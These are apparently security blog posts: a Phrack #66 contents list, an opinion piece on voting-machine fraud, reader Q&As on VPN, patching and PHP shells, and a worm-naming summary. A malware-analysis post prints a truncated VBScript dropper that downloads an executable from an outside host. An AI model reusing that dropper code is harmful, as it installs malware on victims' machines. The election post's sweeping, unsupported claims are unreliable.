Phrack #66 is out!

0x01 Introduction
0x02 Phrack Prophile on The PaX Team
0x03 Phrack World News
0x04 Abusing the Objective C runtime
0x05 Backdooring Juniper Firewalls
0x06 Exploiting DLmalloc frees in 2009
0x07 Persistent BIOS infection
0x08 Exploiting UMA : FreeBSD kernel heap exploits
0x09 Exploiting TCP Persist Timer Infiniteness
0x0A Malloc Des-Maleficarum
0x0B A Real SMM Rootkit
0x0C Alphanumeric RISC ARM Shellcode
0x0D Power cell buffer overflow
0x0E Binary Mangling with Radare
0x0F Linux Kernel Heap Tempering Detection
0x10 Developing MacOSX Rootkits
0x11 How close are they of hacking your brain ?

You can check it out here.

Now we have something to keep us busy while the net neutrality debates are going on…

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Engineering Elections

Engineering Elections

Did you vote in the last election? If not, you should have. If so, did it really count? I mean, literally, besides the aspect of consideration, did your ballot reach the total counter?

Many people who are part of a democracy and have this magical ‘right to vote’ (There is no amendment or part of the US constitution that directly states that Americans have the right to vote; only that you cannot be discriminated against via race or sex, and you must be at least 18 years of age. Look it up and you’ll see that it is only indirectly implied) probably question where their votes really go each and every time they leave the polls.

Furthermore, the most important question should be this: If election fraud is part of our elections, and we all know at least some part of it is, how can we prevent it? The simple answer is, we can’t. Electronic voting machines are a joke. Really, the security on these machines are inferior to the most common lock and key at the dollar store. Security on these ‘secure’ election devices is comparable a Windows 98 (SE!) box running ZoneAlarm (pro!).

Wouldn’t it be nice and convenient to be able to vote via the Internet, without ever having to leave your home? Sure it would be. Safe though? Not in this century. If you have Netflix or any other movie service, you should add this to your queue: Hacking Democracy. Watch it, learn it, believe it. Do not hesitate at all to think its real. ITS BEEN PROVEN! Not a believer? Just wait around our next big election — we’ll see who wins.

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Q: Cisco Site to Site VPN

New week a new question, in this case the question is a bit more generic and I believe raises a few dilemmas, feel free to take a shot at it:

Hi Experts,

Is it secure to just configure Cisco IPSEC/GRE site to site tunnel without firewall/IPS/IDS. The argument here is although it is internet facing, there is only a host to host routing between the routers and the default route goes to the tunnel. Am I right to say that it is technically secure since the router only route traffic between the designated routers?

Thanks in advance.

Regards,
J. O.

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Q: Outlook attachments

Another one for you this week, we especially liked XenoMuta’s answer to our previous one.
Lets go:

Dear SecuriTeam,

i am not sure if you are able to help us to find a solution for a special problem but i’ve tried everything and spent a lot of time in the internet without any achievement.

we want to export the content of multiple exchange servers from our branch offices into personal folders (.pst files) and import these informations into our exchange mail system. the main problem why we are not yet able to do this is that we want to scan the content for viruses, worms (if possible with multiple virus scanners) and for unwanted content like videos, music, executables and so on and this in a way that a real content scan would be done instead of just checking against the file extension. also all attached archives (zip, rar etc.) should be opened (if possible) and scanned for its content. if an attachment is found which cannot be scanned because of password protection or encryption or whatever reason this attachment or the complete mail should be deleted or moved to a quarantine area.

Thank your very much for your support

Best regards
J. B.
Germany

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Q: THC PPTP Bruter

Once again – another security question from our readers to the security experts who read this blog:

I ran across your site looking for information regarding the security of PPTP. I then found the PPTP bruter program from THC. I am a small business owner. I am a VAR (value added reseller) of POS (point of sale) equipment. My POS equipment is usually windows PC’s running POS software. I install a SOHO router that is also a PPTP endpoint so I can VPN in and remotely administrator my clients systems.

I’m trying to find out how easy it would be for someone to hack my PPTP endpoint. Can you help me figure out how to test my router?

Thanks,

K. L.

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Q: Socket Security

A new question for you guys – you have been great answering the previous one:
—-
Hi I’m a bit new to java and socket programming.
Anyway I just wrote a client server socket program and I have an open port listening on my unix box.

I was told that this is vulnerable because now anyone could write a client side program to my open port and send in whatever command line they want.

I am not sure where to go about researching what security measures I need to put in place for socket programming.

From:
B.M
USA
—-

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Q: Network Monitoring

Dear Expert,

I am a Network Engineer at the University of Anonymous. I’m not sure if this is an irrelevant question, but here it is any way..

I want to have a Network Monitoring Software with the following characteristics

1 – I want to be able to monitor all the active workstations in each of the Labs.
2 – I want to have a list of trusted MAC addresses. I need this because I want to block any non-trusted device from accessing network resources. Exceptions might be given when the device is verified to be secure..
3 – I want to be able to detect any suspicious activities (pining, high traffic) and Block the associated IP address.

So please, tell me if there is any software of combination of software that enable me to do what I want..

I hope I will hear from you soon

Yours

M.M.

Our readers have been very helpful to person who wrote the previous post, I believe our readers have the answer in this case as well, and as in the previous case, further, the combined answer was way better than anything we could have provided.

So I am going to let our readers answer this interesting question. Readers – what do you say?

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Q: Restricted user rights and vulnerabilities

Dear Expert,

I know that a restricted user is less vulnerable to most exploits but is knowing that your users have restricted access enough of a reason NOT to patch? I am advocating that my IT support team update/ patch the following software for our end users; QuickTime, Java, Adobe Reader and Acrobat. Currently all of our installed versions have multiple known vulnerabilities. I am being told patching is unnecessary because 95% of our users have restricted user rights and therefore cannot be exploited.

Will you please clarify? I understand how restricted user rights increases security, but is that enough of a layer to justify not patching. When I inquired about scanning thumb drives, this same answer is given, “It is not necessary because the users have restricted rights.” Many of our users have access to confidential and sensitive data and I remain concerned. I really appreciate any assistance that you can provide on this issue. Thank you for your help.

Regards,
L.P
Anonymous University

A: I am going to let our readers answer this interesting question. Readers – what do you say?

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“php shell script on my server”

Q:

I have a webserver where i’ve found several different php shell scripts and I’d like to know how they got there.  Are there known vulnerabilities that allow uploading of php files to a server?

I have several sites running on this server with several php script packages including…

Zencart
phpbb2

Any ideas or pointers will be appreciated!

A: Hi,

There are several vulnerabilities in both off the shelf products as well as custom PHP scripts that would allow “uploading”, in essence they don’t need to upload, they just need to get your PHP scripts to execute an arbitrary (outside) PHP script.

PHPbb has several:
http://www.securiteam.com/cgi-bin/htsearch?sort=score&words=phpbb

Listed as Code Execution, Arbitrary File Upload, etc.

While zencart has just one problem:
http://www.securiteam.com/cgi-bin/htsearch?sort=score&words=zen+cart

But that could be misleading, and just mean that the software is very uncommon.

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Left your Citrix .ICA files to public server and let the hacker in

Mr. Petko D. ‘Acrobat-Gmail’ Petkov has reported about very interesting Citrix issue:

When querying for public .ICA files (Independent Computing Architecture) you can do serious things in the remote system with this information. Opening Cmd.exe and listing the file system works etc. etc.

Report here and YouTube video of 1:28min here.
Googledork and Yahoodork(!) included, it appears there are many .mil and .gov sites. And hospitals too.
A real life example: A Finnish high school in Jyväskylä town fixed its problem in less than 20 minutes after receiving my e-mail this morning. Fine!

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Malware utilizes AJAX to install itself

One of our customers have brought this HTML based malware to our attention:

[title][/title]
[head][/head]
[body]
[script language="VBScript"]
on error resume next

‘ due to how ajax works, the file MUST be within the same local domain
dl = “http://grupo-arroba.by.ru/grupo.exe”

‘ create adodbstream object
Set df = document.createElement(“object”)
df.setAttribute “classid”, “clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″
str=”Microsoft.XMLHTTP”
Set x = df.CreateObject(str,”")
(more…)

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Packet Sniffing

Q:

We recently had two sites defaced on our servers, and the perpetrators are claiming to have used TCPDump. Is there a cheap way to encrypt the data packets to ensure they can’t be sniffed? … [snipped]

- Rob

A:

The easiest way to encrypt data between you and the server is to use SSL or SSH. If you are connecting to a web server, enable SSL encryption, if you are connecting to a service that can be protected by SSL, enable it.

If you can’t use SSL encryption in your product, you can use OpenSSH for tunneling of traffic to the destination host, or use OpenVPN (SSL based) to encrypt the connection between you and the destination host.

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CME 24

Q:

Hope you can help with this question.

If a computer is infected with CME 24 will it attempt to attack a mapped network drive?
Not just delivering its payload.

Thanks

A:

Hi,

Lets first try to understand what CME 24 is, CME – Common Malware Enumeration – is a relatively new standard in the way malwares are identified and sorted.

CME allows different vendors, such as: Aladdin Knowledge Systems, Authentium, Avira, CA, ClamAV, ESET, Fortinet, Grisoft, H+BEDV, iDefense, Kaspersky, McAfee, Microsoft, TrojanDownloader, Norman, Panda, Sophos, Symantec, and Trend Micro to name the malware they identify in such a way that the user can know that the Malware ‘X’ that company A has found is the same Malware named ‘Y’ that company B finds.

CME 24, which is also been named by the different vendors as,
Aladdin Knowledge Systems: Win32.Blackmal.e
Authentium: W32/Kapser.A@mm
AVIRA: Worm/KillAV.GR
CA: Win32/Blackmal.F
ESET: Win32/VB.NEI
Fortinet: W32/Grew.A!wm
F-Secure: Nyxem.E
Grisoft: Worm/Generic.FX
H+BEDV: Worm/KillAV.GR
Kaspersky: Email-Worm.Win32.Nyxem.e
McAfee: W32/MyWife.d@MM
Microsoft: Win32/Mywife.E@mm!CME-24
Norman: W32/Small.KI
Panda: W32/Tearec.A.worm
Sophos: W32/Nyxem-D
Symantec: W32.Blackmal.E@mm
TrendMicro: WORM_GREW.A

Destroy certain data files on an infected user’s machine on Friday, February 3, 2006.

According to our sources and independent analysis conducted on this worm, have revealed that the code should have destroyed. However, it is apparent that ITW (In the Wild) the worm’s payload does not function correctly making it unable to destroy content found on mapped drives.

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HTTP PUT Malware

Q:

Hello -

I’m assessing the vulnerability of a web service application, and have been trying to find out whether this sort of scenario is possible, and if so, what to do about it.

Is there any sort of malware that could be installed on a user’s PC, such that it would intercept non-browser based HTTP requests (consisting of data to be PUT), send this data to a site run by the malware authors, and then issue the PUT to the intended web site? The effect being that the data is sent to the correct web site, but a copy is also sent to another location, unbeknownst to the user.

If this is possible, would HTTPS circumvent this?

I’ve searched and searched but cannot find anything addressing this.

A:

Hi,

What you are describing sounds like a Proxy server. In essence, proxies receive requests made by the user, send them to their original destination, receive the response from the destination and redirect that response to the user.

The use of a PUT requests to implement this is the first time I have heard of it, however it is not something that would be impossible to do.

For Proxy servers – HTTPS might trigger a warning on the part of the proxy as the certificate of the web site being accessed would be different from that of the proxy server from which you are receiving the HTTPS traffic back.

For Malware – As no traffic is being sent to the real destination, HTTPS or HTTP would make no difference. In both cases your traffic is being modified and possibly manipulated. Mozilla/IE might detect this manipulation and might not, I cannot be certain.

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